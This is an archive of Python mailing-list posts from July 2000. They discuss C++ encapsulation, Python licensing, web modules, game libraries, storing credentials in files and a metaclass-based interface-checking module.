If someone were to port JPython to the '400, you would be able
to use the AS/400 Toolbox for Java's native DB access APIs, but
that would be a pretty major job in itself.

BTW, It's nice to know that there are other '400 types looking
at Python. I'm hoping to do the JPython port eventually, but I
don't know Java yet, so don't hold your breath!

Cheers,
Simon B.
With Microsoft, failure is not an option. It comes bundled.


-----------------------------------------------------------

Got questions?  Get answers over the phone at Keen.com.
Up to 100 minutes free!
http://www.keen.com



From mbaker at 0x7a69.net  Wed Jul 26 15:35:18 2000
From: mbaker at 0x7a69.net (Mark Baker)
Date: Wed, 26 Jul 2000 14:35:18 -0500
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com> <8ljrvu09t6@news1.newsguy.com> <l8rf5.1529$ck7.387235@nntp1.onemain.com> <8lma5602i08@news1.newsguy.com>
Message-ID: <SQGf5.5281$c04.627774@nntp2.onemain.com>

In article <8lma5602i08 at news1.newsguy.com>, "Alex Martelli"
<alex at magenta.com> wrote:
> "Mark Baker" <mbaker at 0x7a69.net> wrote in message
> news:l8rf5.1529$ck7.387235 at nntp1.onemain.com...
>     [snip]
>> > I see a "self.something=23", I know "self" is an instance variable;
>> > no
>     [snip]
>> Er....sort of.
> 
> Not really:
> 
>> def sum(self): return self.x + self.y + self.a # Scope within class,
>> but accessible via
> self
> 
> Ah, but here you're not *assigning* to self.a; you're just *accessing*
> it.

Yes, but simply because it's accessed via 'self' doesn't mean it's an instance
binding.
Which getting back to his commentary, isn't always very revealing.
With an assignment this is the case, but I wanted to clarify the actual rules
involved for the person.

The added benefit of overriding __getattr__ and __setattr__ can be even less
obvious.
But in the end, if the implementation is important to the user, then this should
be in the documentation anyway.


>> > have free-standing functions in their stead, and grouping by-module
>> > is more productive than by-class (the class is not the natural unit
>> > of encapsulation, an issue that is also acknowledged by the package
>> > concept of Java and the friend keyword in C++).
>>
>> friend is simply an evil way of violating encapsulation. It's not
> analogous to
> 
> Absolutely false, although people with a superficial understanding of
> C++ do tend to think that way.  The proper use of 'friend' is to split
> an encapsulated, cohesive functionality among more than one class,
> *because the class is NOT the natural unit of encapsulation*.  friend
> ENFORCES encapsulation, by only allowing access to certain object
> features to a carefully designed set of co-operating classes, designed
> together, to work together, and expose exactly that functionality that
> the designer of the package wants to expose.

I've been writing in C++ for many years now, but this isn't a matter of
who has a larger penis...

If an object's internals are to be accessed externally, then methods should
be provided to this inside of the object itself. It should not indicate that
it's alright for "some" people to violate its encapsulation.

If another object needs access to the internals of another object, then this
should solely be provided by the accessor/mutator pattern.

Friends, if attempted for use as "encapsulation" suffer from issues regarding
protecting implementation details, in a paradoxial and limitedly extendable way.
It is rare to be used in this manner.

They are used quite often to violate real encapsulation principles, for the sake
of performance. Methods that are declared inline may or may not end up as
such with any given compiler. Plus depending on the complexity of accessors,
one may not wish to have this code inlined in every case. In the end, the
compiler and not the programmer should be concerned with these, in any event.
But now I'm diverging...

In the real world, people do use friend to violate encapsulation.


> 
>> modules, packages, or anything else. It simply provides a means of
> violating
>> C++'s encapsulation (usually for speed purposes, since you should be
>> able to use the accessor/mutator pattern to work with object
>> properties)
> 
> Again, absolutely false, and, again, suggesting rather superficial
> understanding of C++'s working.  A public accessor/mutator can be, and
> generally is, written in-line, with no speed penalty whatsoever over
> access to an instance variable.

Unless of course you're not simply returning a primitive instance variable.
And then perhaps, as I said, you aren't inclined to want it inlined, or have
it inlined automatically by the compiler.

Friend, though, is also used rather often to execute private methods.

 
> The problem is, this lets ANYBODY read/write that property (through the
> accessor and mutator); what if you only want ONE OTHER, SPECIFIC CLASS,
> to have that ability?  Answer: you use friend, which lets you ENFORCE
> encapsulation
> (and keep the accessor and/or mutator private, so that only the friend
> class
> can make use of them -- if it still makes sense to have them, which it
> often does, essentially for purposes of convenience).

This allows you to partially violate encapsulation, in order to maintain it
elsewhere. This doesn't really increase it, it decreases the violation of it.
To claim otherwise is amusing, at best.

More often than not, if you need access to some part of an object's
information, there are chances that someone else will. If you need
access to someone's private implementation, then their framework
lacks much to be desired. Encapsulation is meant to protect mostly the
latter.


> If you're interested enough in C++ to make such comments, you owe it to
> yourself to understand a little bit more about this extremely complex,
> though powerful, language.  For the mechanisms underlying its typical

The Design and Evolution of C++ and The C++ Programming Language are
also good in that Bjarne is more than willing to say where C++ could have been
better, or why a "bad" decision was made.
Multi-Paradigm Designs for C++, Generic Programming and the STL, and other
such books are also interesting as far as C++ goes.

Even better than strictly C++ books are things such as Design Patterns, 
Analysis Patterns: Reusable Object Models, Smalltalk 80: The Language,
Understanding CLOS, and some others. It's much more interesting to look
at language, framework, and pattern designs for a multitude of things, and
then look at any one language's specific features, instead of accepting the
decisions or beliefs of one faction of programmers.


From guido at python.org  Wed Jul 26 22:01:37 2000
From: guido at python.org (Guido van Rossum)
Date: Thu, 27 Jul 2000 02:01:37 GMT
Subject: Toplevel "test()" functions in standard library
References: <m2vgy28uwi.fsf@hooft.net>
Message-ID: <cpwvi8jmyh.fsf@cj20424-a.reston1.va.home.com>

rob at hooft.net (Rob Hooft) writes:

> In the standard library there is about 20 modules with the construction:
> 
> ------------------------------------------
> [module definitions]
> 
> def test():
>     [testing code or general main program]
> 
> if __name__=="__main__":
>     test()
> ------------------------------------------
> 
> Wouldn't it be better to move the test() definition inside the if
> statement in these cases, to prevent name space pollution? Note that
> the routines are not called "_test()", so they will be imported by a
> "from ... import *" (There are other modules with a _test() definition
> as well).
> 
> Even worse: the test() routine might have severe side effects:
> e.g. base64.test() will block waiting for data from stdin...
> 
> Going one step further: Should all of these "test()" and "_test()"
> routines be in the code library at all, even now that we have a
> complete test engine?

As Moshe already said, the test code serves the reader of the module
well.  It's also handy to be able to import module foo and simply call
foo.test() or foo._test() to test it.

I agree that it's better to name the routine _test(), but for most
modules, and in most cases, it's bad style anyway to write ``from M
import *'', so naming it test() is no great sin.

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From gjohnson at gs.verio.net.bbs  Mon Jul 17 17:20:02 2000
From: gjohnson at gs.verio.net.bbs (gjohnson at gs.verio.net.bbs)
Date: 17 Jul 2000 21:20:02 GMT
Subject: Internet Programming in Python
Message-ID: <3bRPe2$jHe@openbazaar.net>

http://www.ora.com shuld carry this one...


steve langer wrote:
>
> Does anyone know a used book store that would carry this out of print
> book?
>
> Email great.
>
> thanks,
> SL    sglanger at oakland.edu
>
> --
> http://www.python.org/mailman/listinfo/python-list


From olivierS.dagenaisP at canadaA.comM  Tue Jul 25 21:23:21 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 26 Jul 2000 01:23:21 GMT
Subject: PythonWin/Scintilla aggressive folding...
References: <guif5.43644$1h3.552517@news20.bellglobal.com> <E4qf5.12033$4p3.93358@news-server.bigpond.net.au>
Message-ID: <d4rf5.39677$Gh.428415@news20.bellglobal.com>

> Correct, I'm afraid.  Scintilla detects folding as it colorises.  Changes
> like you suggest would make it far more complex.
> The good news, however, is that fixing it inside Scintilla means Pythonwin
> gets the fix, as well as whatever wxPython integration efforts are
> underway, and every future user of Python code in Scintilla will sing your
> praises.
> Please take this on!

<big sigh>  I'll see what I can do.  This open-source deal is great, but
it's a lot of work!  I would appreciate some hints, though.  I understand
Neil is the author?  Neil, anything you can suggest?

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III





From jhunt at hpbs1711.boi.hp.com.bbs  Mon Jul 17 16:50:04 2000
From: jhunt at hpbs1711.boi.hp.com.bbs (jhunt at hpbs1711.boi.hp.com.bbs)
Date: 17 Jul 2000 20:50:04 GMT
Subject: nis module error
Message-ID: <3bRP2U$mD_@openbazaar.net>

I am new to python and want to use the nis module.  When I import the
module I get the error:

Traceback (innermost last):
  File "<stdin>", line 1, in ?
ImportError: /usr/lib/python1.5/lib-dynload/nismodule.so: undefined
symbol: yperr_string

what does this mean?  How can I correct the problem or is there a way
around it.

I am using python 1.5.2 on x86 SuSE 6.4.

Thanks for the help
--
Jacob Hunt


From pehr at pehr.net  Sat Jul 29 00:21:47 2000
From: pehr at pehr.net (pehr anderson)
Date: Sat, 29 Jul 2000 04:21:47 GMT
Subject: Game programming and python
References: <Kbf45.1986$az.236648@dfiatx1-snr1.gtei.net> <398243CA.9AB58468@nycap.rr.com>
Message-ID: <39825BDA.B425E274@pehr.net>

There are several good graphics libraries for writing games.
The Tkinter canvas object is the most accessable, as it is
included with every version of python.

WxWindows is gaining popularity as a faster cross-platform solution.

I personally use the gnome-python bindings since I really like the
Gnome widget set and want to take advantage of all the hard work
pushing gnome forward.

Python has highly readable source code so you can learn a lot
from reading through example code. 

If you haven't seen the "Vaults of Pernasius" check it out.
http://www.vex.net/parnassus/
Lots of python code for all different kinds of things!

	-pehr

gbp wrote:
> 
> It is possible to mix python with the gui that comes with java (swing) that may
> provide a good framework for games.  Don't expect fast animation.
> 
> jin choung wrote:
> 
> > howdy!
> >
> > are there any game programming sites specializing in python?  is there such
> > a thing?
> >
> > any kind of game will do... graphics, ascii, etc...
> >
> > thanks
> >
> > jin


From quango at watervalley.net  Thu Jul 27 23:31:37 2000
From: quango at watervalley.net (Chris Lawrence)
Date: Fri, 28 Jul 2000 03:31:37 GMT
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCMEHNGMAA.tim_one@email.msn.com>
Message-ID: <t87g5.18740$ga2.487562@newsread2.prod.itd.earthlink.net>

On Thu, 27 Jul 2000 18:37:14 -0400, Tim Peters <tim_one at email.msn.com> wrote:
>The old Python license served it very well for a decade.  The new Python
>license will almost certainly also be OSI certified, *compatible* with the
>GPL, and allow proprietary commercial use.  What we haven't been able to
>avoid is massively unproductive legal wrangling -- but nothing can guarantee
>to save you from that.

FWIW, if the license is incompatible with the GPL, we'll end up with
another license pissing contest like the GPL/QPL one.  It might lead
to trouble with distributing binaries of the readline module, for
example.  I hope BeOpen and/or CNRI are keeping RMS in the loop on
this one, as I think that was the problem that led to the neverending
QPL squabble.

(In any event: do the loopholes matter to CNRI?  They own the
copyright.  They can do whatever they damn well please with the code.
The only problem that could ever occur is if CNRI suddenly started
suing people for infringement... and can anyone name a way to infringe
upon the Python license that would actually be worth contesting in a
court of law?  You could piss and moan about violating the attribution
clause, but I can't see that being worth hiring lawyers about.)


Chris (not speaking on behalf of Debian and waiting for the ./
flamefest this weekend)
-- 
=============================================================================
|        Chris Lawrence       |  Your source for almost nothing of value:   |
|   <quango at watervalley.net>  |          http://www.lordsutch.com/          |
|                             |                                             |
|   Grad Student, Pol. Sci.   |     Join the party that opposed the CDA     |
|  University of Mississippi  |             http://www.lp.org/              |
=============================================================================


From davidw at linuxcare.com  Sun Jul  9 12:54:57 2000
From: davidw at linuxcare.com (David N. Welton)
Date: 09 Jul 2000 18:54:57 +0200
Subject: Py_Apache Vs. mod_python
References: <3963CF19.3F4CDA8D@bioeng.ucsd.edu> <87zonvso9c.fsf@cachemir.echo-net.net> <71vfmsc0sspvpg3mq8k3s1ri653908u9nk@4ax.com>
Message-ID: <87hf9zgs66.fsf@eugene.prosa.it>

Tim Roberts <timr at probo.com> writes:

> I'll say.  Am I correct in understanding that the basic purpose of
> "mod_snake" is to allow me to write other Apache modules in Python,
> while PyApache is a module which lets me run Python CGI scripts
> without launching a separate interpreter, just like mod_perl?

mod_perl lets you do a whole ton of things, including writing Apache
modules in Perl.

> I tried to get interested in PHP, but the more I read, the more it
> seemed to be a confused mishmash of features gathered from other
> places.  I thought it might be nice to be able to write web pages
> that were mostly HTML, with server-side scripts interspersed, but it
> seems that many PHP pages are written like CGI scripts that happen
> to run inside Apache.  As long as I'm going to do that, I'd rather
> use Python.

I might also suggest mod_dtcl (http://comanche.com.dtu.dk/dave/),
which lets you use a 'non-web' language.  It's quite fast, as well
(doesn't load a new interpreter for each page).

Ciao,
-- 
David N. Welton, Responsabile Progetti Open Source, Linuxcare Italia spa
tel +39.049.8043411 fax +39.049.8043412 cel +39.348.2879508
davidw at linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From wtanksle at dolphin.openprojects.net  Fri Jul 28 14:45:50 2000
From: wtanksle at dolphin.openprojects.net (William Tanksley)
Date: Fri, 28 Jul 2000 18:45:50 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <8lrp6k0utp@news2.newsguy.com> <slrn8o3a7h.3ok.grey@teleute.rpglink.com>
Message-ID: <slrn8o3l6t.dti.wtanksle@dolphin.openprojects.net>

On Fri, 28 Jul 2000 15:40:36 GMT, Steve Lamb wrote:
>What about a way to define a variable that you want to be mutable.

That simply can't be done, because in Python variables are only handles to
data.

Fortunately, what you want IS possible.  Simply define a class whose
__init__ function takes a single argument, converts it to a string, and
stores it.  Then define all of the operators the way you expect them to
behave.

a = Transformable(5)
print 5 + a
print a + "1foo"
b = Transformable("6")

>in programming, like rollover of integers in C, but I digress).  Why not,
>then, allow the programmer to say, "Yes, convert /this/ variable as needed
>based on context"?  A JUST_DO_IT!!!! flag, if you will?

Again, there's no way to mark a variable, but it's not hard to create a
datatype which is thus polluted.  It IS hard to come up with meaningful
operations, you'll find; Perl is actually quite impressive in how it built
its operations.

>      Steve C. Lamb

-- 
-William "Billy" Tanksley


From stephen_purcell at yahoo.com  Mon Jul 24 07:10:39 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Mon, 24 Jul 2000 11:10:39 -0000
Subject: newb Q: security with variables
In-Reply-To: <397BE388.349CCA17@mediaone.net>
Message-ID: <8lh87f+t50e@eGroups.com>

Toy <gee308 at m...> wrote:
> Could you please explain to me various secure ways of having a 
> python script store variables such as your password/username in a
> file.
> I understand that you can chmod 0400 <variables.file>, but are
> there any other alternatives?

If you're going to put a username/password combination in a file, and
if that's because you don't want to require a password to be entered
interactively when the program runs, then there's nothing much you can
do. The security of the file system is as good as you can hope for.

> Also, can you run python code with files that don't end with the 
> python extensions(.py and others)?  That way it would make it less
> obvious that it was some sort of script.  Thanks

Yes. Simply 'chmod +x scriptname' and make the first line of the
script read '#!/usr/bin/env python'. But, an executable file is almost
as obviously a script as a '.py' file.

-Steve

--
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
"Life must be simple if I can do it" -- Me




From johannes at zellner.org  Fri Jul  7 18:26:29 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Sat, 8 Jul 2000 00:26:29 +0200 (CEST)
Subject: default exception handler
Message-ID: <Pine.LNX.4.21.0007080024450.7789-100000@krispc6.physik.uni-karlsruhe.de>

Hello,

is it possible to install a default exception handler?
E.g. if the interactive py shell gets a NameError I'd
like it to call my own handler.

-- 
   Johannes




From avv at quasar.ipa.nw.ru  Sat Jul 29 17:58:18 2000
From: avv at quasar.ipa.nw.ru (Alexander V. Voinov)
Date: Sat, 29 Jul 2000 14:58:18 -0700
Subject: to better observe locales
References: <3981D6E6.CE74151D@quasar.ipa.nw.ru> <cpittoewar.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <3983537A.C7091340@quasar.ipa.nw.ru>

Hi

Guido van Rossum wrote:

> "Alexander V. Voinov" <avv at quasar.ipa.nw.ru> writes:
>
> > It seems that Python would better observe locales at almost no cost.
> >
> > 1. list.sort(). If the sorted list is just a list of strings, it's
> > trivial to pass 'strcoll' as an argument. But if the list element is a
> > tuple, I have to write my own comparison function which would use
> > locale.
>
> There are lots of good reasons why observing locales on string
> comparisons with the < operator are a bad idea.

What are these reasons? Are they presented somewhere on www.python.org?

Alexander





From moshez at math.huji.ac.il  Thu Jul 27 01:04:11 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Thu, 27 Jul 2000 08:04:11 +0300 (IDT)
Subject: Reading PCI Configuration Space...
In-Reply-To: <397F501F.B733ECCB@uab.edu>
Message-ID: <Pine.GSO.4.10.10007270803420.2823-100000@sundial>

On Wed, 26 Jul 2000, Shae Erisson wrote:

> Jerome Chan wrote:
> > 
> > Does anyone know how to read the PCI configuration space with Python
> > under Win 98 or Linux?
> 
> In linux, try:
> cat /proc/pci

Or, in Python,

open("/proc/pci").read()

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From AKiss at GEOMETRIA.hu  Mon Jul 24 10:43:52 2000
From: AKiss at GEOMETRIA.hu (Kiss, Arpad)
Date: Mon, 24 Jul 2000 16:43:52 +0200
Subject: binary distribution of Zope's DCOracle for Win32
Message-ID: <D148AB3A9D8FD311A99A008048C79D1123CADE@MAIL>

I have a compiled version that works with 7.3.4 clients. I can send it for
you if it is good for you.
Arpad

<honza_v at my-deja.com> wrote in message news:<8lhhhf$l73$1 at nnrp1.deja.com>...
> Is there a binary version of DCOracle for Win32 systems? I have no
> access to C compiler, also my knowledge of C is not sufficient.
> 
> Thanks a lot
> Jan
> 
> 
> Sent via Deja.com http://www.deja.com/
> Before you buy.
> -- 
> http://www.python.org/mailman/listinfo/python-list
> 



From ZakonS at eccelerate.com  Wed Jul 19 09:57:28 2000
From: ZakonS at eccelerate.com (Zakon, Stuart)
Date: Wed, 19 Jul 2000 09:57:28 -0400
Subject: SSL support in Python
Message-ID: <0A2FDC11F692D311AA730008C7B161F201645CE0@exbhbhmb04.us.dbisna.com>

Does anybody know how to get SSL support in Python?  In particular, we
require the use of client certificates so the SSL library should allow these
to be provided.

I have some old links but it looks like these have not been kept up to date.

Thanks,
Stuart Zakon




From cwebster at nevada.edu  Fri Jul 28 16:41:28 2000
From: cwebster at nevada.edu (Corran Webster)
Date: Fri, 28 Jul 2000 13:41:28 -0700
Subject: Interfaces (Re: Perl is worse! (was: Python is Wierd!))
References: <Pine.GSO.4.10.10007281010300.4194-100000@sundial> <oogg5.2633$6E.681244@ptah.visi.com>
Message-ID: <cwebster-DDC01B.13412828072000@news.lvcablemodem.com>

In article <oogg5.2633$6E.681244 at ptah.visi.com>, ge at nowhere.none (Grant 
Edwards) wrote:

> In article <Pine.GSO.4.10.10007281010300.4194-100000 at sundial>, Moshe 
> Zadka wrote:
> >On Fri, 28 Jul 2000, Grant Edwards wrote:
> >
> >> Is 'sequence mapping' for list() an tuple() defined the same as
> >> for the 'for' statement: it has a get_item(i) method that
> >> returns either a value or raises an exception?
> >
> >Actually, I think these two want an __len__ method too.
> 
> At this point somebody is required to complain about the
> vagueness of Python interfaces, and if there was some sort of
> language facility for defining the interface for a "sequence"
> then I wouldn't have had to ask that question.
> 
> Since it's Friday, and the person assigned to the task of
> complaining about interfaces is off today, I've filled in
> temporarily.  But I'm goign golfing at noon, so if you want to
> argue about it you'll have to make an appointment with the
> regular staff on Monday.  Since I'm just filling in, all I'd be
> able to provide is rote contridiction -- which we all know
> isn't a real argument...

Here's a little something that I've been fiddling with in my spare time 
for the past little while.  It's an interface definition mechanism which 
uses metaclasses to allow a heirarchy of interfaces (somewhat like the 
exception heirarchy).  See the docstrings for details on how to use it.

Warning:  This uses metaclasses, so your head may explode if you try to 
follow what is going on here.

Corran


interface.py
----
"""
interface module

Nasty metaclass stuff to define and test interfaces with at least a
little syntactic sugar.

This module defines a class heirarchy:

Interface
    Number
    Stack
    Sequence
        MutableSequence (also sublcass of Stack)
    Mapping
        MutableMapping
    File
        InputFile
        OutputFile
            IOFile
    Iterator

Typically you'd use this something like:
        
    def f(x):
        assert Iterator(x)
        for a in x:
            etc...
    
You can also test classes for compliance with an interface:
        
    class InfiniteIterator:
        def __getitem__(self, n):
            return n
        
    assert Iterator(InfiniteIterator)

This will not work if you expect certain instance variables to be 
present.

To define your own interfaces, simply subclass from one of these and add
your new required methods and instance variables.

To define your own interface, do something like
    
class MyInterface(Interface):
    def __getitem__(self, n):
        pass
    def wibble(self):
        pass
    foo = None
    
Now any class or instance which has both __getitem__ and wibble methods 
and a foo instance or class variable will satisfy the interface.

You can use the __types__ class variable to specify a list of builtin 
types which satisfy the interface.  These are not inherited, so you must 
specify the complete list.

More complex tests can be specified by adding a __test__ method to
the inferface class.  __test__ should return either 0 if the object
does not satisfy the interface, 1 if it does, and 2 if it wants to
default to the usual test.

Interfaces can't have instances, as we are (ab)using the constructor to 
do testing.
"""

from types import *

class InterfaceMetaClass:
    """Metaclass for interfaces
    
    TODO:
        * At the moment it only checks whether methods are callable, not
            whether they have sufficient arguments.  This can be checked
            using introspection on the function objects.
        
        * It would be nice to be able to do pre-condition type checks
            on method arguments something like:
                
                class myiterator:
                    def __getitem__(self, n):
                        if __debug__:
                            Iterator.__getitem__(self, n)
            
            It would be even nicer to do it automagically.
        
        * Fails for new types defined in extensions (can't detect special
            methods).  Users will need to specifically update types.
    """
    
    def __init__(self, name, bases, namespace):
        """Constructor -- create an interface.
        
        This will be called after a class statement where Interface
        is a base class.  By default, instances of any class whose
        namespace includes all the names in namespace (or the namespace
        of a base interface class) will match the interface.
        """
        
        for base in bases:
            if not isinstance(base, InterfaceMetaClass):
                raise TypeError, "Interface base class '%s' must " +\
                        "be an interface"
        bases = filter(lambda x: x is not Interface, bases)
        self.__name__ = name
        self.__bases__ = bases
        self.__types__ = []
        for key in ['__test__', '__doc__', '__types__']:
            try:
                self.__dict__[key] = namespace[key]
            except KeyError:
                pass
            else:
                del namespace[key]
        self.__namespace__ = namespace
        
    def __call__(self, target):
        """Test instance for interface compliance"""
        
        # test for OK python types
        t = type(target)
        if t not in [InstanceType, ClassType]:
            return t in self.__types__
        # test classes and instances
        try:
            if self.__dict__.has_key('__test__'):
                t = self.__test__(target)
                if t == 0 or t == 1:
                    return t
            for (key, value) in self.__namespace__.items():
                if callable(value):
                    if not callable(getattr(target, key)):
                        raise AttributeError
                    # should do some argument checking here to make sure
                    # that our method expects at a minimum no more than
                    # the target method, and at a maximum no less than
                    # the target's maximum
                else:
                    getattr(target, key)
            for base in self.__bases__:
                if not base(target):
                    return 0
        except AttributeError:
            return 0
        return 1    

# Create the base class for interfaces
# It is an empty interface

Interface = InterfaceMetaClass("Interface", (), {})

class Number(Interface):
    __types__ = [IntType, LongType, FloatType, ComplexType]
    def __add__(self, other):
        pass
    
    def __radd__(self, other):
        pass

    def __sub__(self, other):
        pass
    
    def __rsub__(self, other):
        pass

    def __mul__(self, other):
        pass
    
    def __rmul__(self, other):
        pass
        
    def __div__(self, other):
        pass
    
    def __rdiv__(self, other):
        pass
    
    def __neg__(self):
        pass
    
    def __pos__(self):
        pass
    
    # probably should have other stuff like __pow__ and __divmod__


class Sequence(Interface):
    __types__ = [ListType, TupleType, StringType, BufferType]
    def __len__(self):
        """The length of the sequence"""
        pass
    
    def __getitem__(self, n):
        """Return the nth item in the sequence"""
        assert type(n) == IntegerType or type(n) == LongType
    
    def __getslice__(self, i, j):
        """Return the slice from i to j"""
        assert type(i) == IntegerType or type(i) == LongType
        assert type(j) == IntegerType or type(j) == LongType
    
    def __add__(self, other):
        """Add two sequences together"""
        pass
    
    def __radd__(self, other):
        """Add two sequences together"""
        pass
    
    def __mul__(self, n):
        """Repeat the sequence n times"""
        assert type(n) == IntegerType
    
    def __rmul__(self, n):
        """Repeat the sequence n times"""
        assert type(n) == IntegerType or type(n) == LongType


class Mapping(Interface):
    __types__ = [DictType]
    def __len__(self):
        """Return the number of entries in the mapping"""
        pass
    
    def __getitem__(self, key):
        """Return the value corresponding to the key"""
        pass
    
    def has_key(self, key):
        """Return true if the mapping has the key"""
        pass
    
    def keys(self):
        """Return the list of keys"""
        pass
    
    def values(self):
        """Return the values from the mapping"""
        pass
    
    def items(self):
        """Return a list of (key, value) pairs"""
        pass
    
    def get(self, key, value=None):
        """Return the value corresponding to the key if the key exists, 
else return value"""
        pass
    
    def copy(self):
        """Return a copy of the mapping"""
        pass

class Stack(Interface):
    __types__ = [ListType]
    def pop(self):
        """Pop the top element off the stack"""
        pass
    
    def append(self, item):
        """Push an element onto the stack"""
        pass


class MutableSequence(Sequence, Stack):
    __types__ = [ListType]
    def __len__(self):
        """The length of the sequence"""
        pass
    
    def __setitem__(self, n, value):
        """Set the nth item in the sequence to value"""
        assert type(n) == IntegerType or type(n) == LongType
    
    def __setslice__(self, i, j, sequence):
        """Return the slice from i to j"""
        assert type(i) == IntegerType or type(i) == LongType
        assert type(j) == IntegerType or type(j) == LongType
    
    def __delitem__(self, n):
        """Delete the nth item from the sequence"""
        assert type(n) == IntegerType or type(n) == LongType
    
    def __setslice__(self, i, j):
        """Delete the slice from i to j"""
        assert type(i) == IntegerType or type(i) == LongType
        assert type(j) == IntegerType or type(j) == LongType
    
    def count(self, value):
        pass
    
    def index(self, value):
        pass
    
    def insert(self, n, value):
        assert type(n) == IntegerType or type(n) == LongType
    
    def remove(self, value):
        pass
    
    def reverse(self):
        pass
    
    def sort(self):
        pass


class MutableMapping(Mapping):
    __types__ = [DictType]
    def __setitem__(self, key, value):
        """Set the value corresponding to key"""
        pass
    
    def __delitem__(self, key):
        """Delete the value corresponding to key"""
        pass
    
    def clear(self):
        """Remove all items from the mapping"""
        pass
    
    def update(self, m):
        """Add entries from m to the mapping"""
        assert Mapping(m)

class File(Interface):
    __types__ = [FileType]
    
    closed = 0
    
    def close(self):
        pass

class InputFile(File):
    __types__ = [FileType]
    
    def read(self, size=None):
        pass
    
    def readline(self, size=None):
        pass
    
    def readlines(self, sizehint=None):
        pass

class OutputFile(File):
    __types__ = [FileType]
    
    def write(self, size=None):
        pass
    
    def writelines(self, sizehint=None):
        pass

class IOFile(InputFile, OutputFile):
    __types__ = [FileType]


# Additional useful interfaces

class Iterator(Interface):
    """Iterators can take the place of standard sequences in for loops"""
    __types__ = [ListType, TupleType, StringType]

    def __getitem__(self, n):
        """Return the nth item in the sequence or IndexError if done"""
        assert type(n) == IntegerType or type(n) == LongType
        assert n >= 0


From aahz at netcom.com  Fri Jul 21 15:33:31 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 21 Jul 2000 19:33:31 GMT
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <8l6cbp$fgr$1@pollux.ip-plus.net> <3977C2A8.6D8F7586@my.signature>
Message-ID: <8la8ib$8um$1@slb2.atl.mindspring.net>

In article <3977C2A8.6D8F7586 at my.signature>,
Greg Ewing  <see at my.signature> wrote:
>"J?rgen Hermann" wrote:
>> 
>> merge() is the best yet, since it's a common (programming) term with a
>> well-defined meaning.
>
>But it's a DIFFERENT meaning!
>
>merge([1,2,4,6,7,8],[3,5,9]) --> [1,2,3,4,5,6,7,8,9])

No, that's only when "merge" is a modifier for "sort".
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From mwh21 at cam.ac.uk  Sat Jul 22 20:58:42 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 23 Jul 2000 01:58:42 +0100
Subject: zip or marry etc: compose()!
References: <LNBBLJKPBEHFEDALKOLCCEENGLAA.tim_one@email.msn.com> <B59F5B36.684B%dgoodger@bigfoot.com>
Message-ID: <m3bszpd5ml.fsf@atrus.jesus.cam.ac.uk>

David Goodger <dgoodger at bigfoot.com> writes:

> I haven't seen anyone suggest "compose", which is the only word I can think
> of that comes close to the intended semantics. Especially since, political
> statements aside, both "marry" and "zip" imply two sources.

Compose to me would strongly imply something along the lines of

def compose(f,g): return lambda x,f=f,g=g:f(g(x))

and-it's-still-going-to-be-called-"zip"-ly y'rs
M.

-- 
  /* I'd just like to take this moment to point out that C has all
     the expressive power of two dixie cups and a string.
   */                       -- Jamie Zawinski from the xkeycaps source


From shapr at uab.edu  Tue Jul 25 07:02:22 2000
From: shapr at uab.edu (Shae Erisson)
Date: Tue, 25 Jul 2000 11:02:22 GMT
Subject: Obtaining network configuration via Python
References: <oR0f5.8644$07.646795@news1.rdc1.on.wave.home.com>
Message-ID: <397D72ED.22DDC50C@uab.edu>

Micheal Kelly wrote:
> 
> Hi all,
> 
> Quick question:  I'm writing some Python scripts in Linux that need access
> to the system's network configuration - now, I could parse the output of
> ifconfig quite easily (and have for that matter).  However, for various reasons
> I can't and don't want to do this - I'd rather access the network configuration
> info directly from the OS if possible.
> 
> My question is:  Does anyone know how to do this in Python under Linux?
> Is there a module or library I can use?

I ran across this yesterday, hope it helps:

http://www.linuxcare.com.au/projects/gnetstat/
-- 
Shae Matijs Erisson - http://www.webwitches.com/~shae/
VirtualPairProgramming Wanted - Linux/Emacs/Python/Speak Freely
.fi: rakastan ohjelmointia - python kengitt?? aasia


From honza_v at my-deja.com  Mon Jul 24 09:49:36 2000
From: honza_v at my-deja.com (honza_v at my-deja.com)
Date: Mon, 24 Jul 2000 13:49:36 GMT
Subject: binary distribution of Zope's DCOracle for Win32
Message-ID: <8lhhhf$l73$1@nnrp1.deja.com>

Is there a binary version of DCOracle for Win32 systems? I have no
access to C compiler, also my knowledge of C is not sufficient.

Thanks a lot
Jan


Sent via Deja.com http://www.deja.com/
Before you buy.


From nobody at nowhere.nohow  Fri Jul 28 21:02:31 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sat, 29 Jul 2000 01:02:31 GMT
Subject: Perl is worse!
References: <Pine.GSO.4.10.10007281426320.7506-100000@sundial> <398178EA.7576E13A@hursley.ibm.com> <yTgg5.2647$6E.682215@ptah.visi.com> <8ls9oe01f82@news2.newsguy.com>
Message-ID: <slrn8o4b97.abr.nobody@isis.visi.com>

In article <8ls9oe01f82 at news2.newsguy.com>, Alex Martelli wrote:
>"Grant Edwards" <ge at nowhere.none> wrote in message

